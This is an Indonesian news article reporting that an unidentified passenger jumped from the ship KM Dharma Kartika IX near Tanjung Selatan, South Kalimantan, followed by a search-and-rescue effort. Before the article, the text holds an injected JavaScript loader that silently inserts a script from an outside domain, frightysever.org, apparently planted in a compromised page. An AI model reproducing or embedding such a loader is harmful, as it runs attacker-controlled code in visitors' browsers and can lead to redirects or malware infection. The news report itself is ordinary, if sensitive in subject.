(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Loncat dari Kapal, Penumpang KM Dharma Kartika IX Rute Surabaya-Banjarmasin Hilang di Perairan Tanjung Selatan

KANALKALIMANTAN.COM, BANJARMASIN – Seorang penumpang Kapal Motor (KM) Dharma Kartika IX dinyatakan hilang setelah melompat dari kapal di perairan Tanjung Selatan, Kabupaten Tanah Laut, Provinsi Kalimantan Selatan.

Mr X atau penumpang tak beridentitas itu diduga melompat ke laut dalam pelayaran dengan rute Surabaya–Banjarmasin, pada Jumat (6/1/2023) sekira pukul 20.38 Wita.

Peristiwa itu disaksikan pertama kali oleh dua orang bernama Sarip dan Suryandi yang juga merupakan penumpang kapal motor tersebut.

Kepala Kantor Pencarian dan Pertolongan Banjarmasin, Al Amrad SSos membenarkan ada penumpang kapal motor yang hilang di perairan Tanjung Selatan.

“Dua orang saksi itu mengungkap jika ada seorang penumpang laki-laki kisaran umur 28 tahun, keluar dari ruangan penumpang ekonomi, mendekat ke pagar kapal gangway deck sebelah kiri bagian tengah, kemudian loncat ke laut,” ungkap Kepala Kantor Pencarian dan Pertolongan Banjarmasin.

Melihat kejadian itu, kedua orang saksi itu langsung cepat melaporkan ke salah satu keamanan kapal hingga disampaikan ke perwira jaga anjungan.

Korban yang diperkirakan berusia 28 tahun itu dinyatakan hilang usai kurang lebih satu jam dilakukan upaya pencarian di sekitar lokasi jatuh.

“Sekitar kurang lebih 1 jam upaya pencarian korban tidak membuahkan hasil, selanjutnya kapal motor itu melanjutkan pelayaran menuju pelabuhan Trisakti Banjarmasin,” sebut Al Amrad.

Sementara itu, Kantor Pencarian dan Pertolongan Banjarmasin pada Sabtu (7/1/2023) pagi , memberangkatkan tim untuk melakukan pencarian di sekitar LKP menggunakan armada KN 407.

“Hari ini telah kita berangkatkan tim rescue menuju LKP untuk melakukan pencarian, tim berangkat menggunakan armada KN 407,” imbuhnya.

Lebih jauh, pihaknya pun belum mengetahui jelas identitas korban karena diketahui korban berangkat sendiri, sehingga tak ada yang mengenalinya.

“Untuk identitas korban belum diketahui, karena posisi korban berpergian sendirian, dan tidak meninggalkan identitas apapun, serta telah dikroscek ke penumpang lain yang berada di kapal, dan tidak ada yang mengenalinya,” pungkasnya.

Hingga saat ini tim rescue masih melakukan pencarian dan penyisiran dengan memfokuskan lokasi sekitaran LKP yakni di perairan laut Tanjung Selatan arah barat daya kurang lebih 32 Mil, dengan titik koordinat 04° 26′ 039″ S –
114° 08′ 526″ E. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie